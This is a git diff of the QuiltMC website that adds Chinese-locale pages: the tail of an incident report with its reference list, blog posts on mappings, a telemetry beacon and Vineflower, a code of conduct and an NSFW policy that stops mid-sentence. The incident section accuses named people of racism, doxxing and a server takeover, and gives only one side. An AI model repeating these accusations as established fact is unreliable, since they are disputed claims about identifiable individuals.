+ +## The Future of Quilt + +What does this effectively change for Quilt? Not much, really. All we learned through those events is that the Keyholder system is inherently broken and needs replacing. While zml, Larry and Kashike might have probably provided some interesting feedback, they are drowned in a sea of internalized and externalized racism making most, if not all, of their points null and void. + +Additionally, through this incident, the importance of diversity in community management has been made clearer than ever: it revealed to us the direct harm of the lack of racial diversity that Quilt, together with some parts of the wider community, face — we had been unknowingly harbouring racists for years, and instead of learning from minority voices, they were willing to take drastic measures such as planning and attempting a coup, all to defend their malignant beliefs that have only recently been challenged. (See the "[Importance of Diversity in Community Management](#importance-of-diversity-in-community-management)" section for more information on the topic) + +If you have some feedback for us that isn't about tone policing minorities, you are more than welcome to reach out to a Community Manager or a member of the Administrative Board. We would like to remind you that no action will be taken against someone providing feedback in good faith. You can even send us an email at [feedback@quiltmc.org](mailto:feedback@quiltmc.org) with a throwaway account if you'd like to provide anonymous feedback. + +# Additional explanations + +## Importance of Diversity in Community Management + +Bigotry in a community can manifest itself in several ways — either visibly and prominently as slurs, insults, harmful stereotypes, threats of violence, etc., or more subtly in the form of co-opting, dogwhistling, gaslighting, unequal representation, or identity erasure. + +While the former can usually be readily handled by a homogeneous moderation team, the latter can slip past moderation by appearing to be inconspicuous or insignificant to the white, cisgender, male, heterosexual majority of the anglophone Minecraft community. + +It is therefore imperative for people who have minority safety in mind to associate themselves with actual minorities, and let them partake in the moderation and management of their community. It is easier for a trans person to identify transphobic dogwhistles than cis people, in the same vein that a person of colour can more readily detect racist sentiments, rhetoric and stereotypes than white people. + +In other words, a community's leadership must be diverse, to properly recognize as many kinds of bigotry as possible, and protect as many different minority groups as possible. + +While LGBTQ+ groups are generally better represented these days in the communities we associate with, we would like to call for other communities to join us in our effort to push for diversity in other frontiers — most notably in racial and ethnic diversity. The events that transpired over the past two months have shown us that racism and white privilege are still very much alive and well in parts of the wider community, and our efforts must continue. + +## Professionalism and Racism + +It is often difficult for a person of colour to safeguard themself from \[micro/macroaggressions\], especially when they are one of the few racialized people in their working environment - and yet, they must in order to not become the “problem” or “angry” one in the work environment — unfortunately common stereotypes for people of colour. + +Protecting oneself against everyday microaggressions in a system that already establishes whiteness as the precedent in professional spaces can feel like a lose-lose situation. + +While many workplaces purport values of diversity and inclusion, these measures tend to be shallow. Addressing the emotional needs of workers and mitigating workplace hostilities can be a time costly endeavour, and can deter from the productivity of the workplace. + +We then see that it is in the best interests of a company to instead neutralize the situation, but this often means protecting the aggressor as opposed to the individual or group on the receiving end of a derogatory act or comment. + +So, if not asked formally by their employer, POC tend to understand and are conditioned to push down their emotions and feelings in the interest of a cohesive work environment. + +White professional spaces can thus be an isolating environment for POC. + +# A note about the GDPR + +All evidence in this thread may contain personal data that we collected on the basis of a legitimate interest ([Art. 6(1)(f)](https://gdpr.eu/article-6-how-to-process-personal-data-legally/)). We believe that shedding light on these events serves the public interest. Given the names and personal data needed to make this piece informative in certain sections, we have done our best to balance the value of the public interest and safeguards provided by the GDPR. If you have any questions or would like to exercise your rights, feel free to reach out at [privacy@quiltmc.org](mailto:privacy@quiltmc.org). + +# References + +
    +
  1. Discussion of the Keyholder role on Initiative - Screenshot
  2. +
  3. Keyholder section of the RFC 7 - https://github.com/QuiltMC/rfcs/blob/c671574350ed1142278f24078e9eddc68884955f/structure/0007-community-team.md#keyholders
  4. +
  5. Prospector's formal motion to make Kashike the Keyholder - Screenshot
  6. +
  7. i5 saying Kashike would be in trouble if he took control of the servers - Screenshot
  8. +
  9. The riley account sending his own tweet - Screenshot
  10. +
  11. Kashike adding his selfbot and kicking it afterwards - Screenshot
  12. +
  13. Larry joining on the 20th of April 2021 - Screenshot
  14. +
  15. Larry's vote - Screenshot
  16. +
  17. Searching for Larry's messages before the 4th of April 2021 - Screenshot
  18. +
  19. Beginning of Larry's application - Screenshot
  20. +
  21. Searching for Larry's messages - Community & Toolchain
  22. +
  23. Statistics of all messages sent by the Quilt Community Team since 30th of October 2021 - Screenshot
  24. +
  25. Average message count Metabase question (may fluctuate) - http://stats-quilt.gserv.me/public/question/af2be563-d010-43be-bb7c-382973faf552
  26. +
  27. Beginning of the "LexManos Twitter Activity" thread - Screenshot
  28. +
  29. Lack of response from Forge - Screenshot
  30. +
  31. Forge's initial response - Screenshot
  32. +
  33. Curle's first response - Screenshot
  34. +
  35. Second Twitter report - Screenshot
  36. +
  37. Archive of Lex's Twitter - https://archive.ph/OGEwA
  38. +
  39. Threats to go public with Lex's tweets - Screenshot
  40. +
  41. Curle getting pressured by her employers - Screenshot
  42. +
  43. Bubblie calling Lex a "man baby" and Curle tone policing him - Screenshot
  44. +
  45. Lex saying he stands by what he liked - Screenshot
  46. +
  47. Curle announcing that Lex will step down - Screenshot
  48. +
  49. Curle posts the draft of the announcement - Screenshot
  50. +
  51. The version of the statements that were shared with Collab - https://gist.github.com/TheCurle/c9410dcc1183c132540bdec38a232e26/6062d8063b4039f375e081da06694a978f9d2ee0
  52. +
  53. Collab members being unhappy about the rephrasing not being mentioned - Screenshot
  54. +
  55. Statement edit history - https://gist.github.com/TheCurle/c9410dcc1183c132540bdec38a232e26/revisions (https://archive.ph/KJ0oU)
  56. +
  57. Concerns with the approach taken by the statements - Screenshot
  58. +
  59. Levi saying he cannot good faith Lex - Screenshot
  60. +
  61. Curle's first racist comment - Screenshot
  62. +
  63. Curle's second racist comment - Screenshot
  64. +
  65. Call to remove Forge from Collab - Screenshot
  66. +
  67. Curle's Statement - https://blog.minecraftforge.net/personal/curle/promotion/
  68. +
  69. Lex's Statement - https://blog.minecraftforge.net/personal/lex/twitter/
  70. +
  71. RFC 0062: Add a clause to call votes early - https://github.com/QuiltMC/rfcs/pull/76
  72. +
  73. Proof of vote from community A - Proof
  74. +
  75. Proof of vote from community B - Proof
  76. +
  77. Quilt's vote - Screenshot
  78. +
  79. Moderators agreeing internally to ban - Screenshot
  80. +
  81. Larry's answer to the report - Screenshot
  82. +
  83. Levi's comment and Larry's response - Screenshot
  84. +
  85. gdude calling out Larry for not following moderation policies - Screenshot
  86. +
  87. Another moderator agreeing with levi - Screenshot
  88. +
  89. Larry claiming levi is privileged for having experienced racism - Screenshot
  90. +
  91. Larry claiming levi is arguing in bad faith - Screenshot
  92. +
  93. Larry comparing levi to colonialists - Screenshot
  94. +
  95. Kashike stepping into the ModMail - Screenshot
  96. +
  97. Kashike's DM conversation with gdude - Screenshot
  98. +
  99. gdude's message in the `#managers` channel - Screenshot
  100. +
  101. Kashike saying he was contacted privately - Screenshot
  102. +
  103. Initial proposal for the low activity requirements - Screenshot
  104. +
  105. The Starchildren talk about how Larry should get talked to if the guidelines get implemented - Screenshot
  106. +
  107. Larry attacking the Starchildren on the policy - Screenshot
  108. +
  109. Kashike DMing gdude complaining about the Starchildren's response to Larry - Screenshot
  110. +
  111. Larry saying he reported the exploit to Kashike, which he didn't fix - Screenshot
  112. +
  113. Larry's demotion - Screenshot
  114. +
  115. Removing team members section of the RFC 7 - https://github.com/QuiltMC/rfcs/blob/c671574350ed1142278f24078e9eddc68884955f/structure/0007-community-team.md#process-removing-team-members
  116. +
  117. Kashike kicking bots and staff members - Screenshot
  118. +
  119. Kashike deleting all webhooks - Screenshot
  120. +
  121. Kashike's takeover announcement - Screenshot
  122. +
  123. Developers responding to Kashike - Screenshot
  124. +
  125. Developers derailing the conversation - Screenshot
  126. +
  127. gdude and MrMangoHands telling Kashike to ban the user who made death threats - Screenshot
  128. +
  129. Role tab of the recovery server - Screenshot
  130. +
  131. Kashike requesting that the Starchildren and levi aren't added to the group DM - Screenshot
  132. +
  133. Kashike claiming he's discussing with the entire Administrative Board - Screenshot 1 & Screenshot 2
  134. +
  135. Kashike not caring about vulnerable users - Screenshot
  136. +
  137. zml addmitting to be "conspiring" with Larry and Kashike - Screenshot
  138. +
  139. Kashike's message after adding the Starchildren - Screenshot
  140. +
  141. gdude's response to the accusation - Screenshot
  142. +
  143. Kashike admitting to doxxing the victim himself - Screenshot
  144. +
  145. Kashike actively participating in the thread - Screenshot
  146. +
  147. Kashike giving up and offering a transfer - Screenshot
  148. +
  149. Curle's DMs with levi - Screenshot
  150. +
  151. Curle's DMs with gdude - Screenshot
  152. +
  153. Curle saying levi refusing any clearing up - Screenshot
  154. +
diff --git a/src/pages/zh/blog/2023-06-03-qm-needs-you.md b/src/pages/zh/blog/2023-06-03-qm-needs-you.md new file mode 100644 index 000000000..9b5bfb799 --- /dev/null +++ b/src/pages/zh/blog/2023-06-03-qm-needs-you.md @@ -0,0 +1,36 @@ +--- +title: "Quilt Mappings needs you!" +date: 2023-06-03 12:00:00 -00:00 +authors: + - ix0rai +layout: /src/layouts/Post.astro +--- + +Hello quilters!\ +An important announcement from the Quilt Mappings team today (you can tell, because I’ve pulled out proper punctuation for the first time in my Quilt career). I’ll cut straight to the point and say it: Quilt Mappings is in need of contributions. The team and I have been working hard to keep up with Minecraft lately, but with a backlog of missing mappings since before I joined and Mojang always working to improve the game, we can’t hold up our completion by ourselves. + + + +#### What's holding the team back? + +The Quilt Mappings team is one of the largest in Quilt, but we’re still struggling to keep up. Why? There are a few reasons. Most of the team is simply busy and doesn’t have the time to submit new mappings, and those of us that do have time have other exciting projects to work on! We’re building an entirely new mappings toolchain, always matching to the latest snapshots, and delivering huge improvements to Enigma, the program that we use to create mappings. That’s not to say we’re not working on mappings all the time, though, and we’re always here to deliver quick reviews on pull requests! + +#### Why even bother? + +Quilt Mappings (or QM for short) is different from the other two sets of maintained mappings on the market: Mojmap and Yarn. We check our names against both sets constantly to make sure that we’re delivering the most accurate ones possible. Mojang names are often unintuitive, and aren’t built for modders: they’re made for the developers working on the game itself. Contrary to Mojmap, Yarn aims to deliver names that are easy to understand for modders, but since their names are not checked against Mojang’s intentions, they can sometimes be confusing and contradictory to the intended usage of the code. Both sets are excellent on their own, and QM is made to be a hybrid of the two, shipping clear, concise, and accurate names inspired by both. We’ve also implemented extensive checking for typos, Britishisms and convention violations to make sure no problematic mappings are published. Despite their drawbacks, Yarn and Mojang have 99% and 100% completion of class names respectively, and we can’t truly call ourselves the best with our measly 98. + +## How can I help? + +The biggest way you can help with QM is by contributing new mappings to the large swaths of the game that are missing names. All you need to help out is knowledge of Java! We have a couple cute documents already written up on how to contribute: check out our [CONTRIBUTING.md](https://github.com/QuiltMC/quilt-mappings/blob/HEAD/CONTRIBUTING.md) to find out everything you need to know before mapping! Making new mappings isn’t the only way to help, and if you want to improve our existing names, [our issue tracker](https://github.com/QuiltMC/quilt-mappings/issues) is a great place to find suggestions of names to change. However, be warned that if you change names made by me you run the risk of incurring my wrath (affectionate). Opening Enigma will immediately give you an idea of what needs doing in terms of new mappings, thanks to our handy little status icons next to each class. If a class has a check mark, you can move on, but anything with a yellow dot or red x needs your help! This adorable graph, generated by the Mapping Stats feature in Enigma, can help show you where to start. As always, we're happy to help you out with anything: using Enigma, what to name methods, where to map, etc! You can always talk to us on [our Discord](https://discord.quiltmc.org). + +![A screenshot of a graph generated by Enigma to show unmapped entries, highlighting the world, entity and client packages are problem areas](/assets/img/writing/blog/2023-06-03-qm-needs-you/qm-mapping-stats.png) + +If mapping the game is less your thing, we have plenty of other projects for you to help out with. We can also use the help of those experienced with Java, networking, Swing, Gradle, and even translation. +Contributors have a few great options: +1. Working on our new toolchain, which we’re calling Quilt Mapping Tools. You can help with designing the toolchain, writing Java code, designing the new mapping format, or even preparing other parts of Quilt to use QMT. The best way to find out what needs doing here is talking to our team leader, OroArmor, on [our Discord](https://discord.quiltmc.org)! You can also check the [QMT issue tracker](https://github.com/QuiltMC/quilt-mapping-tools/issues) to get a rough idea of the work that’s still in progress. +2. Helping out with our deobfuscator, Enigma! Improving Enigma helps us make mappings faster and with fewer mistakes. To help out with Enigma, you can look at *its* [issue tracker](https://github.com/QuiltMC/enigma/issues), or try to break it to help us find more bugs. In particular, we're looking for help with solving a pesky ui issue detailed [here](https://github.com/QuiltMC/enigma/issues/108). Enigma is quite a complicated program, and you can always talk to me (rai), or Martrixx on [our Discord](https://discord.quiltmc.org) if you’d like some help understanding it. Enigma is separated into four parts: a backend, a command line interface, a server, and a swing GUI, which means there’s something for every type of Java experience! If the language you speak isn’t English *or* Java, Enigma also has internationalisation support! You can add languages in the [lang](https://github.com/QuiltMC/enigma/tree/master/enigma/src/main/resources/lang) folder, or complete translation for existing languages! Compare against the `en_us` file to find missing translations. + +3. Tinkering with our existing tooling! Our new set of tooling is nowhere near completion, and the stuff we use right now still needs maintenance and improvements. You can check [issues marked as “toolchain”](https://github.com/QuiltMC/quilt-mappings/issues?q=is%3Aissue+is%3Aopen+label%3A%22t%3A+toolchain%22) in our main repository to see what needs work right now. + +Thank you for reading, and we'll see you on the creature trail! +\- rai diff --git a/src/pages/zh/blog/2023-06-26-mau-beacon.md b/src/pages/zh/blog/2023-06-26-mau-beacon.md new file mode 100644 index 000000000..57c64ddb0 --- /dev/null +++ b/src/pages/zh/blog/2023-06-26-mau-beacon.md @@ -0,0 +1,65 @@ +--- +title: "Evil Modding Project Adds Telemetry" +date: 2023-06-26 12:00:00 -00:00 +authors: + - ix0rai +layout: /src/layouts/Post.astro +--- + +If you've been keeping tabs on our RFC, or Request For Comment, [repository](https://github.com/QuiltMC/rfcs), you may have noticed that we've +just merged a proposal for Quilt Loader to keep tabs on how many people are using it each month. All considered, it's unfortunate that it was RFC 81, +not RFC 1984. + + + +## Why are we doing this? + +Excellent question, dear user. Over the last couple years of Quilt, we've been running [a website](https://quiltmc.org/), +[a repository of compiled binaries called a Maven](https://maven.quiltmc.org/), and other miscellaneous bits that we need hosting for. +One of the best ways for projects like us to pay for our infrastructure is by getting a sponsorship: a company agrees to pay some +of our costs, for the low low price of an icon on the website or something similar. Since they're a company, before agreeing to take +on the financial burden of an entire project, they first want to make sure that people will actually see that icon: that's where Monthly +Active Users, or MAU, come in. MAU is a pretty universal statistic that shows how popular something is: my personal website has one MAU, +which is just me coming back every once in a while when I add something interesting, while a big service like Github has millions of MAU +from people coming back all the time to view and commit code. Every unique person who visits that month bumps the MAU number by one. +Our potential sponsor gets to see that and go "ah, there are a pile of people playing on Quilt, that means a bunch of folks will see our +little ad and check us out!". + +Another huge benefit of having an MAU statistic is that Quilt developers like me get to see just how many people are using our passion +project, which is great motivation for us to keep improving it! I'm sure it'll always be fun to see how many of you are running around inside a Quilt-powered version of the silly block game. + +## *How* are we doing this? + +As neatly laid out [in the RFC](https://github.com/QuiltMC/rfcs/blob/main/specification/0081-active-user-beacon.md#explanations), +the process is very simple. +When you load up your game, Quilt Loader will check for a file that's shared by all your instances of Minecraft, +that contains the last date that it told our infrastructure you're a user. +If that month is the current month and you haven't opted out, Loader will move on to updating the stats. After running the opt-out and date checks, this process is entirely separate to loading your game, and won't slow anything down. + +![A cute graph explaining the process Quilt Loader goes through to update the MAU beacon](/assets/img/writing/blog/2023-06-26-mau-beacon/beacon-update-process.png) + +When Loader has assessed that you're not yet considered an active user for this month, it sends a simple request with no data; +no body or headers, to an endpoint at https://quiltmc.org. The server updates the counter without storing any identifying data. +Then, Loader updates its persistent file with the current month, and continues on its merry way. + +### Will this steal my data, the family cat, and possibly my wife as well? + +The biggest consideration when designing this feature was privacy: we want to get the numbers, and absolutely nothing else. +This means that while your IP address will be sent to our website once a month, we discard all information except the +1 to +our counter as per [the restrictions in the RFC](https://github.com/QuiltMC/rfcs/blob/main/specification/0081-active-user-beacon.md#beacon-server-restrictions). +The server accepting the signal is [fully open source](https://github.com/QuiltMC/beacon.quiltmc.org) +and will remain that way so anyone can see what we're doing with what you send us. Additionally, since Quilt Loader is open source as well, you can see all the code sending the signal in [the MAU beacon pull request](https://github.com/QuiltMC/quilt-loader/pull/326). + +![A screenshot of the table of signals sent to the beacon, showing that it stores date, time and nothing else](/assets/img/writing/blog/2023-06-26-mau-beacon/beacon-signals.png) + +## I don't like that, how can I say no? + +There are two simple ways to opt out of being counted. +1. When running Quilt Loader, add a property, `-Dloader.disable_beacon=true`, to your Java Arguments. In the official Minecraft +launcher, you can do this by going to `installations -> edit -> more options -> jvm arguments` and appending that to the end. +If you're using another launcher, check its documentation or poke around to find the same thing. Loader also has a collection of +other useful properties, nicely documented in [its wiki](https://github.com/QuiltMC/quilt-loader/wiki/System-Properties). +2. Set the `QUILT_LOADER_DISABLE_BEACON` environment variable to `true`. An environment variable is a value that is visible to all programs, +so using this method will opt you out on *all* your installations. + +Though it's easy to disable, it would be lovely if you left it on for us. Who doesn't love a number getting bigger? diff --git a/src/pages/zh/blog/2023-07-09-quiltflower-is-now-vineflower.md b/src/pages/zh/blog/2023-07-09-quiltflower-is-now-vineflower.md new file mode 100644 index 000000000..e97683908 --- /dev/null +++ b/src/pages/zh/blog/2023-07-09-quiltflower-is-now-vineflower.md @@ -0,0 +1,17 @@ +--- +title: "Quiltflower is now Vineflower" +date: 2023-07-09 14:55:00 -00:00 +authors: + - Southpaw1496 +layout: /src/layouts/Post.astro +--- +The Quiltflower decompiler is an integral part of Quilt's toolchain, and has been quietly developed by jaskarth and the rest of the Decompilers team since our earliest beginnings. Yesterday, the team decided to separate from Quilt and continue development under the [Vineflower](https://github.com/Vineflower) organisation. + +Despite the separation and the change in name, we expect that very little will change for Quilt developers: We will continue to use Quiltflower — now Vineflower — in our toolchain as we always have. + +## Why did this happen? +Although decompilation is a core part of Minecraft modding, decompilers aren't inherently related to Minecraft in the same way that Quilt Loader or QSL might be, and so the decompilers team hasn't really ever operated like the rest of Quilt's development teams. Because of this separation, they felt that it would be easier to develop Vineflower independently of the complexity that comes with having to coordinate the operations of an entire modding toolchain and its associated community. + +Although we will be sad to see the decompiler team go, we're very proud that they have managed (the geniuses that they are) to make Quiltflower into one of the best Java decompilers in the world, and bring it to a point where it is ready to leave our cozy nest, and blossom into its own amazing project. + +If you'd like to show the new Vineflower team some love, you might [send them a Star on GitHub](https://github.com/vineflower/vineflower). \ No newline at end of file diff --git a/src/pages/zh/blog/[page].astro b/src/pages/zh/blog/[page].astro new file mode 100644 index 000000000..f3bbfd2fd --- /dev/null +++ b/src/pages/zh/blog/[page].astro @@ -0,0 +1,17 @@ +--- +import Base from "@layouts/Base.astro"; +//@ts-ignore +import Paginator from "@setpieces/Paginator.astro"; +import { sortByDescending } from "@util/Util"; + +export async function getStaticPaths({ paginate }) { + const allPosts = await Astro.glob("./*.md"); + sortByDescending(allPosts, (post) => new Date(post.frontmatter.date)); + + return paginate(allPosts, { pageSize: 5 }); +} +--- + + + + diff --git a/src/pages/zh/blog/index.astro b/src/pages/zh/blog/index.astro new file mode 100644 index 000000000..1ffd24697 --- /dev/null +++ b/src/pages/zh/blog/index.astro @@ -0,0 +1,5 @@ +--- +import Redirect from "@layouts/Redirect.astro"; +--- + + diff --git a/src/pages/zh/community/code-of-conduct.mdx b/src/pages/zh/community/code-of-conduct.mdx new file mode 100644 index 000000000..6e8c81928 --- /dev/null +++ b/src/pages/zh/community/code-of-conduct.mdx @@ -0,0 +1,81 @@ +--- +title: Code of Conduct +description: Learn about Quilt's community spaces, and what we expect of our users. +layout: /src/layouts/Page.astro +--- + +Like many communities, our policies are based on a Code of Conduct. Please make sure you read it before making use of +our spaces, as it provides a set of behavioral guidelines that we expect everyone to adhere to. + +## Notes + +This Code of Conduct applies to anyone that makes use of a space managed by the Quilt team. **Not having read the Code of Conduct is not a valid excuse for breaking it,** and all members of the community will be held to this standard. + +While we try to go into detail with our examples, it's impossible to cover every possible situation in one document. In general, treat others how you wish to be treated -- if you wouldn't like to be treated in a particular way, don't treat others like that either! + +This Code of Conduct is the basis for [our rules](/en/community). We require that all community members read both this document, and the rules document. + +
+ +## Our Pledge + +We as community members, contributors, and team members pledge to make participation in our community a harassment-free experience for everyone, regardless of age, culture, ethnicity, gender identity & expression, nationality, physical or mental disabilities or differences (regardless of intensity), politics, race, religion, sex, sexual orientation, socio-economic status or subcultural affiliation. + +We pledge to act and interact in ways that contribute to an open, welcoming, diverse, inclusive, and healthy community, and we are committed to promoting these concepts. + +## Our Standards + +We expect the members of our community to participate in a positive, authentic and deliberate way. Consideration, respect and empathy are key when it comes to building and supporting a healthy community, and we request that our members exercise this through their actions. + +Please take into account that online communities bring people together from many different cultures and backgrounds. It's important to understand that sometimes the combination of cultural differences and online interaction can lead to misunderstandings. + +Examples of behavior that contributes to a positive environment for our community include: + +- Demonstrating empathy, patience and kindness toward other people +- Being respectful of differing opinions, viewpoints, and experiences +- Giving and gracefully accepting constructive feedback +- Respecting others' personal choices, even when they don't line up with yours +- Accepting responsibility and apologizing to those affected by our mistakes, and learning from the experience +- Focusing on what is best not just for us as individuals, but for the overall community + +Examples of unacceptable behavior include: + +- The use of sexualized language or imagery, and sexual attention or advances of any kind +- Trolling, insulting or derogatory comments +- Personal or political attacks +- Threats of violence, or violent acts towards others +- Public or private harassment +- Intentionally dead-naming or misgendering others +- Publishing others' private information, such as a physical or email address, without their explicit permission ("doxxing") +- Gatekeeping others' access to mental health or accessibility tools +- Advocating for, or encouraging, any unacceptable forms of behavior +- Other conduct which could reasonably be considered inappropriate + +## Enforcement Responsibilities + +Community team members are responsible for clarifying and enforcing our standards of acceptable behavior and will take appropriate and fair corrective action in response to any behavior that they deem inappropriate, threatening, offensive, or harmful. + +If a community member engages in behavior violating this Code of Conduct, the members of the community team may take any action they deem appropriate. Actions may range from a simple warning to the most drastic: permanent removal from the community, exclusion from any interaction, and loss of all rights in the community. + +## Scope + +This Code of Conduct applies within all community spaces (both online and offline), as well as when an individual is officially representing the community in public spaces. Examples of representing our community include using an official e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. + +This Code of Conduct applies to all projects, repositories and community spaces that are managed by Quilt, regardless of whether or not the use of this code is explicitly called out. We also reserve the right to retroactively enforce this Code of Conduct when community members violate it in spaces not managed by Quilt. + +## Reporting a Problem + +Instances of abusive, harassing, or otherwise unacceptable behavior may be reported to the Quilt community team directly on Discord, either via private message or the ModMail bot. If your report concerns a specific community team member or group of community team members, please send your report to a team member that is not part of the report, or a member of the administrative board. + +All complaints will be reviewed and investigated promptly and fairly, and all team members are obligated to respect the privacy and security of the reporter of any incident. + +## Changes & Feedback + +It is likely that this Code of Conduct will need additions, modifications and other improvements. Online culture changes, new views and sensitivities emerge which need to be taken into account. To that end, we reserve the right to update this Code of Conduct at any time, pending feedback from the community when possible. + +We always welcome feedback and suggestions. If you'd like to provide either, feel free to [open an issue on GitHub](https://github.com/QuiltMC/quiltmc.org/issues)! + +## Attribution + +This Code of Conduct is a heavily modified version of the [Contributor Covenant version 2.0](https://www.contributor-covenant.org/version/2/0/code_of_conduct.html), with inspiration and examples taken from the [JetBrains Open Source and Community Code of Conduct](https://confluence.jetbrains.com/display/ALL/JetBrains+Open+Source+and+Community+Code+of+Conduct), [Microsoft Open Source Code of Conduct](https://microsoft.github.io/codeofconduct) and +[Open Source Design Code of Conduct](https://opensourcedesign.net/code-of-conduct). diff --git a/src/pages/zh/community/index.mdx b/src/pages/zh/community/index.mdx new file mode 100644 index 000000000..539e62dd5 --- /dev/null +++ b/src/pages/zh/community/index.mdx @@ -0,0 +1,27 @@ +--- +title: Community +description: Learn about Quilt's community spaces, and what we expect of our users. +layout: /src/layouts/Page.astro +--- + +import site from "@data/Site"; + +You can find Quilt in the following places: + +- Our Discord server +- Our forum +- Our GitHub organization + +In all of these places you are expected to follow our [rules](/en/community/rules) and [Code of Conduct](/en/community/code-of-conduct). + +# Methodology + +Quilt's official community spaces exist to address issues in the wider modding community as much as the rest of the project does. While it's certainly true that no large project should be without official community spaces, we had several specific intentions in mind while creating it: + +- To build inclusivity and diversity into policy from the beginning, creating a safe community for minority groups as best we can +- To create a plural-friendly space by including tools like [PluralKit](/en/community/pluralkit) from a very early stage +- To get the community involved in community and policy decisions, allowing their voices to be heard and using their input to shape our spaces +- To act with transparency where possible and reasonable without trying to hide our actions, and explaining moderation decisions when asked about them +- To provide room for defensive moderation tools, and investigative moderation approaches -- allowing our staff to react to issues in the wider modding community, and solve problems before they're apparent to the userbase + +We think we've largely succeeded at this and our community has been excellent at correcting us when we make mistakes, holding us accountable, and helping us to understand issues that we otherwise have no direct experience with -- whether that's through lack of information, or just being privileged enough to never have encountered them directly. We always encourage our community members to contact us whenever they notice something untoward -- if you've been doing that, then thank you! diff --git a/src/pages/zh/community/join-us.mdx b/src/pages/zh/community/join-us.mdx new file mode 100644 index 000000000..1fdb9bf19 --- /dev/null +++ b/src/pages/zh/community/join-us.mdx @@ -0,0 +1,22 @@ +--- +permalink: /community/join-us +title: Join The Non-Profit +description: Fill out this form to join The Quilt Project, a registered non-profit. +layout: /src/layouts/Page.astro +--- + +import HomeMessage from "@parts/home/HomeMessage.astro"; +import JoinForm from "@layouts/JoinForm.astro"; + +Through this form you can join The Quilt Project, a registered non-profit in France. Once the form is filled, +we will contact you to confirm your membership through email. + +Thank you for your interest! + + + + diff --git a/src/pages/zh/community/nsfw-policy.mdx b/src/pages/zh/community/nsfw-policy.mdx new file mode 100644 index 000000000..42bf6cf11 --- /dev/null +++ b/src/pages/zh/community/nsfw-policy.mdx @@ -0,0 +1,209 @@ +--- +title: NSFW Policy +description: Quilt's NSFW and Sexual Content policy - clarifying what subjects, media and content we do and don't allow. +layout: /src/layouts/Page.astro +--- + +import Foldable from "@atoms/Foldable.astro"; + +While it's true that Discord (and most other social media platforms) require their users to be at least 13 years of age, it's become clear that using common age-specific ratings for media (for example, PG-13) is not sufficient for our community. As the way people define NSFW content varies wildly depending on the individual and context, this document seeks to define what that term means for our community, and thus what content is unacceptable in our spaces. + +## Terminology + +We use the following terminology in the below document, which we've decided to explain here -- just in case you're not entirely familiar with them. + +### Body Horror + +"Body horror" can refer to one of a number of concepts: + +* AI-generated imagery that depicts people or animals with disfigured bodies and limbs, extra body parts, missing body parts, etc +* Artwork and photography that depicts people or animals with disfigured bodies and limbs, where the primary intention of the imagery is to shock, horrify or scare the viewer + * Photos and depictions of people with physical disabilities or unusual birthmarks, missing limbs due to accidents, or any other physical differences to a typical able-bodied person **do not count as body horror** -- these people are not monsters, and deserve to be treated with the same respect and care that everyone else does + +### Content + +To keep things simple, we define "content" as anything a user could post, upload, link to or discuss. For example, we'd consider all the following to be "content": + +* A user's Discord, forum or GitHub profile, including their username, nickname, avatar, banner, "About Me" section, connections, or status +* Textual content, including issue comments, forum posts and Discord messages +* Mixed media, such as photos, audio, and images -- directly uploaded by the user, linked to from another site, posted in the form of a sticker or emoji (including as a reaction), and so on + +It's worth noting that this definition includes content not directly posted in our spaces, but made easily available to the users of our spaces by participating in them. We believe that this type of content can also be problematic in specific contexts, so we moderate it in addition to content directly posted by users. + +### Gender-Affirming Surgery + +"Gender-affirming surgery" refers to surgeries that may be undertaken by trans people in order to physically affirm their gender (and expression thereof), if they wish. This includes things like sexual reassignment surgery (SRS), facial feminization surgery (FFS), facial masculinization surgery (FMS), and so on. + +While it's true that cis people also occasionally undertake gender-affirming surgeries, this is considerably easier to for them to obtain when compared to trans people. If you're cis and are undertaking (or have undertaken) surgeries like this then your related discussions still come under this definition, but our policies largely focus on trans people, as they suffer from far more related discrimination -- medical, political, and otherwise. + +## NSFW? What's That? + +NSFW is short for "Not Safe For Work". This term, along with NSFL ("Not Safe For Life"), are often used online to denote content that you either wouldn't show to your boss, or wouldn't show to anyone -- acting as loose definitions for content that either belongs in specific spaces, or doesn't belong anywhere. + +Generally speaking: + +* **`NSFW` includes:** Suggestive content, porn, etc +* **`NSFL` includes:** Animal abuse, gore (including any visible internal organs/tissue), vore, suicide, serious injuries, body horror, etc + +Additionally, SFW ("Safe For Work") and SFL ("Safe For Life") can be used as opposing designations for content that definitely doesn't come under the designations of NSFW or NSFL respectively. + +NSFL content is (and always will be) roundly banned at Quilt, aside from users seeking support from each other regarding how they feel about it, or for things that have happened to them. With NSFW content, though, the devil's in the details -- this term is loose by design, and they way it's applied differs greatly depending on the people, situation, and content in question. + +## Quilt's Definitions + +In order to make this easier to understand, we've split potentially NSFW content into several categories: + +* **Explicitly Allowed**: Content which we do not consider NSFW, and that we allow in any space +* **Contextual**: Content which we may allow or disallow based on the discussion it's part of and context around it +* **Restricted**: Content which is only allowed within the spaces we specifically designate for it +* **Banned**: Content which is not allowed in all circumstances + +Some of our spaces may also have specific rules that apply to them. Where that's the case, we've listed them under the appropriate heading below. + +**Note:** It's always worth remembering that everyone has their own experiences and history. Additionally, note that _posting_ content and _discussing_ it isn't the same thing -- but if you're in doubt, you can always contact us via **@ModMail**. + +**Additionally:** We are not the ultimate arbiters of what should and should not be considered NSFW content on a global scale. We've listed some types of content below because a user had questions about it, because we want to ensure people understand how posting specific content impacts their safety, or because we wanted to be clear and avoid confusing users -- not because we consider it problematic, or we think other people shouldn't be allowed to peruse it (aside from a few specific examples in the banned category). + + +Space-Specific Rules + +The following rules apply to specific Quilt community spaces. If we haven't listed a space here, you can assume that it follows the rest of this document. **Banned content remains banned regardless of space-specific rules.** + +* **Forums:** We only allow minimal contextual content outside dedicated topics and categories +* **GitHub:** We do not allow any restricted or contextual content + +The specific definitions for each type of content mentioned here can be found in the following sections. + + + + +Explicitly Allowed Content + +We allow the following content in our spaces. + +### Anywhere + +* Hormone replacement therapy and related discussions, including conversations about DIY hormone replacement therapy + +We believe that hormone replacement therapy should be available for anyone that needs it -- many countries are happy to provide access to this for cis people but unfairly discriminate against trans people, even though this approach contravenes modern medical recommendations and human rights work. + +Quilt has always been explicitly supportive of trans people, and some members of its Community Team consider themselves human rights activists. However, it's worth noting that testosterone is a controlled substance in the USA (the location of many platforms we use), and we may need to ask you to stop discussing ways to obtain it directly in our spaces. + +### In your Discord bio and connections + +Your Discord bio is the section displayed under "About Me" on your profile -- **not** your status, banner, or avatar. + +* Linked accounts containing potentially NSFW content, as long as they are correctly age gated or tagged for sensitive content as required by the platform +* If your bio is otherwise SFW, a link to your 